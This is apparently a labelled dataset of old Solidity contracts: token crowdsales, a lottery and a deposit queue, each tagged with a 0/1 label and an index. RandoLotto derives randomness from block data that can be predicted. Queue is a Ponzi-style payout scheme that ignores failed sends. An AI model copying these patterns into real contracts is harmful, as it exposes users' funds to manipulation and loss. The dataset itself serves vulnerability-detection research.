pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DMPNGCrowdsale is Ownable { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function DMPNGCrowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function allocateRemainingTokens() onlyOwner public { uint256 remaining = token.balanceOf(this); token.transfer(owner, remaining); } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _forwardFunds(); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) pure internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokensIssued = _weiAmount.mul(rate); if( 10 * (10 ** 18) < tokensIssued && 100 * (10 ** 18) > tokensIssued ) tokensIssued = tokensIssued + (1 * (10 ** 18)); else if( 100 * (10 ** 18) <= tokensIssued ) tokensIssued = tokensIssued + (15 * (10 ** 18)); return tokensIssued; } function _forwardFunds() internal { wallet.transfer(msg.value); } }
1
4,966
pragma solidity ^0.4.20; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract ERC223Receiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract SuccessfulERC223Receiver is ERC223Receiver { event Invoked(address from, uint value, bytes data); function tokenFallback(address _from, uint _value, bytes _data) public { Invoked(_from, _value, _data); } } contract FailingERC223Receiver is ERC223Receiver { function tokenFallback(address, uint, bytes) public { revert(); } } contract ERC223ReceiverWithoutTokenFallback { } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Mint(_to, _amount); Freezed(_to, _until, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 8; uint8 constant TOKEN_DECIMALS_UINT8 = 8; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "DICO"; string constant TOKEN_SYMBOL = "DICO"; bool constant PAUSED = true; address constant TARGET_USER = 0x429B892e0e3B66accA6AeAE26A6892a1948d650D; uint constant START_TIME = 1527346800; bool constant CONTINUE_MINTING = true; } contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { using SafeMath for uint; function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; return transfer(_to, _value, empty); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function goalReached() public view returns (bool) { return weiRaised >= goal; } } contract MainCrowdsale is Consts, FinalizableCrowdsale { function hasStarted() public constant returns (bool) { return now >= startTime; } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { token.finishMinting(); } token.transferOwnership(TARGET_USER); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } } contract Checkable { address private serviceAccount; bool private triggered = false; event Triggered(uint balance); function Checkable() public { serviceAccount = msg.sender; } function changeServiceAccount(address _account) onlyService public { assert(_account != 0); serviceAccount = _account; } function isServiceAccount() view public returns (bool) { return msg.sender == serviceAccount; } function check() onlyService notTriggered payable public { if (internalCheck()) { Triggered(this.balance); triggered = true; internalAction(); } } function internalCheck() internal returns (bool); function internalAction() internal; modifier onlyService { require(msg.sender == serviceAccount); _; } modifier notTriggered() { require(!triggered); _; } } contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate(uint256 weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[3] memory weiRaisedStartsBoundaries = [uint(0),uint(0),uint(0)]; uint[3] memory weiRaisedEndsBoundaries = [uint(50000000000000000000000),uint(50000000000000000000000),uint(50000000000000000000000)]; uint64[3] memory timeStartsBoundaries = [uint64(1527346800),uint64(1528642740),uint64(1529852340)]; uint64[3] memory timeEndsBoundaries = [uint64(1528642740),uint64(1529852340),uint64(1532271535)]; uint[3] memory weiRaisedAndTimeRates = [uint(500),uint(300),uint(100)]; for (uint i = 0; i < 3; i++) { bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , CappedCrowdsale { event Initialized(); bool public initialized = false; function TemplateCrowdsale(MintableToken _token) public Crowdsale(START_TIME > now ? START_TIME : now, 1532271540, 10000 * TOKEN_DECIMAL_MULTIPLIER, 0x429B892e0e3B66accA6AeAE26A6892a1948d650D) CappedCrowdsale(50000000000000000000000) { token = _token; } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[3] memory addresses = [address(0xc5d388779f168b527f8a99bb5f8c9e457221f2a7),address(0x68bdc087bfcff41944d51da0ca76a6d246a88c3f),address(0x5eb398ce3d48bc0e33feae2865ee78695ecf0866)]; uint[3] memory amounts = [uint(20000000000000000),uint(20000000000000000),uint(10000000000000000)]; uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); Initialized(); } function createTokenContract() internal returns (MintableToken) { return MintableToken(0); } function validPurchase() internal view returns (bool) { bool minValue = msg.value >= 500000000000000000; bool maxValue = msg.value <= 2000000000000000000000; return minValue && maxValue && super.validPurchase(); } function hasEnded() public view returns (bool) { bool remainValue = cap.sub(weiRaised) < 500000000000000000; return super.hasEnded() || remainValue; } }
1
3,167
pragma solidity 0.4.23; contract RandoLotto { using SafeMath for uint256; event NewLeader(address newLeader, uint256 highScore); event BidAttempt(uint256 randomNumber, uint256 highScore); event NewRound(uint256 payout, uint256 highScore); address public currentWinner; uint256 public highScore; uint256 public lastTimestamp; address internal dev; Random randomContract; modifier GTFOSmartContractHackerz { require(msg.sender == tx.origin); _; } constructor () public payable { dev = msg.sender; highScore = 0; currentWinner = msg.sender; lastTimestamp = now; randomContract = new Random(); } function () public payable GTFOSmartContractHackerz { require(msg.value >= 0.001 ether); if (now > lastTimestamp + 1 days) { sendWinnings(); } uint256 randomNumber = randomContract.random(10000000000000000000); if (randomNumber > highScore) { highScore = randomNumber; currentWinner = msg.sender; lastTimestamp = now; emit NewLeader(msg.sender, highScore); } emit BidAttempt(randomNumber, highScore); } function sendWinnings() public { require(now > lastTimestamp + 1 days); uint256 toWinner; uint256 toDev; if (address(this).balance > 0) { uint256 totalPot = address(this).balance; toDev = totalPot.div(100); toWinner = totalPot.sub(toDev); dev.transfer(toDev); currentWinner.transfer(toWinner); } highScore = 0; currentWinner = msg.sender; lastTimestamp = now; emit NewRound(toWinner, highScore); } } contract Random { uint256 _seed; function bitSlice(uint256 n, uint256 bits, uint256 slot) public pure returns(uint256) { uint256 offset = slot * bits; uint256 mask = uint256((2**bits) - 1) << offset; return uint256((n & mask) >> offset); } function maxRandom() public returns (uint256 randomNumber) { _seed = uint256(keccak256( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty )); return _seed; } function random(uint256 upper) public returns (uint256 randomNumber) { return maxRandom() % upper; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
4,944
pragma solidity ^0.4.25; contract Queue { address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15; address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf; address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625; address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b; uint constant public PROMO_PERCENT = 2; uint constant public BONUS_PERCENT = 3; struct Deposit { address depositor; uint deposit; uint payout; } Deposit[] public queue; mapping (address => uint) public depositNumber; uint public currentReceiverIndex; uint public totalInvested; function () public payable { require(block.number >= 6661439); if(msg.value > 0){ require(gasleft() >= 250000); require(msg.value >= 0.05 ether && msg.value <= 5 ether); queue.push( Deposit(msg.sender, msg.value, 0) ); depositNumber[msg.sender] = queue.length; totalInvested += msg.value; uint promo1 = msg.value*PROMO_PERCENT/100; PROMO1.send(promo1); uint promo2 = msg.value*PROMO_PERCENT/100; PROMO2.send(promo2); uint promo3 = msg.value*PROMO_PERCENT/100; PROMO3.send(promo3); uint prize = msg.value*BONUS_PERCENT/100; PRIZE.send(prize); pay(); } } function pay() internal { uint money = address(this).balance; uint multiplier = 120; for (uint i = 0; i < queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; uint totalPayout = dep.deposit * multiplier / 100; uint leftPayout; if (totalPayout > dep.payout) { leftPayout = totalPayout - dep.payout; } if (money >= leftPayout) { if (leftPayout > 0) { dep.depositor.send(leftPayout); money -= leftPayout; } depositNumber[dep.depositor] = 0; delete queue[idx]; } else{ dep.depositor.send(money); dep.payout += money; break; } if (gasleft() <= 55000) { break; } } currentReceiverIndex += i; } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
0
1,995
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (address => uint64) internal roots; mapping (bytes32 => uint64) internal chains; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) { uint count; uint total; uint64 release = roots[_addr]; while (release != 0) { count ++; total += balanceOf(address(keccak256(toKey(_addr, release)))); release = chains[toKey(_addr, release)]; } return (total, count); } function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) { uint64 release = roots[_addr]; for (uint i = 0; i < _index; i ++) { release = chains[toKey(_addr, release)]; } return (release, balanceOf(address(keccak256(toKey(_addr, release))))); } function freezeTo(address _to, uint _amount, uint64 _until) public { bytes32 currentKey = toKey(_to, _until); transfer(address(keccak256(currentKey)), _amount); freeze(_to, _until); Freezed(_to, _until, _amount); } function releaseOnce() public { uint64 head = roots[msg.sender]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; address currentAddress = address(keccak256(currentKey)); uint amount = balances[currentAddress]; delete balances[currentAddress]; balances[msg.sender] += amount; if (next == 0) { delete roots[msg.sender]; } else { roots[msg.sender] = next; } Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal constant returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); uint64 head = roots[_to]; if (head == 0) { roots[_to] = _until; return; } bytes32 headKey = toKey(_to, head); uint parent; bytes32 parentKey; while (head != 0 && _until > head) { parent = head; parentKey = headKey; head = chains[headKey]; headKey = toKey(_to, head); } if (_until == head) { return; } if (head != 0) { chains[toKey(_to, _until)] = head; } if (parent == 0) { roots[_to] = _until; } else { chains[parentKey] = _until; } } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract TokenTimelock { using SafeERC20 for ERC20Basic; ERC20Basic public token; address public beneficiary; uint64 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner { bytes32 currentKey = toKey(_to, _until); mint(address(keccak256(currentKey)), _amount); freeze(_to, _until); Freezed(_to, _until, _amount); } } contract usingConsts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "PharmaToken"; string constant TOKEN_SYMBOL = "RxT"; bool constant PAUSED = true; address constant TARGET_USER = 0x03FbdA50876F9b2Be94AA9d2Cdbe5BE84f34E851; uint constant START_TIME = 1521832620; bool constant CONTINUE_MINTING = false; } contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable { function MainToken() { } function name() constant public returns (string _name) { return TOKEN_NAME; } function symbol() constant public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() constant public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
2,864
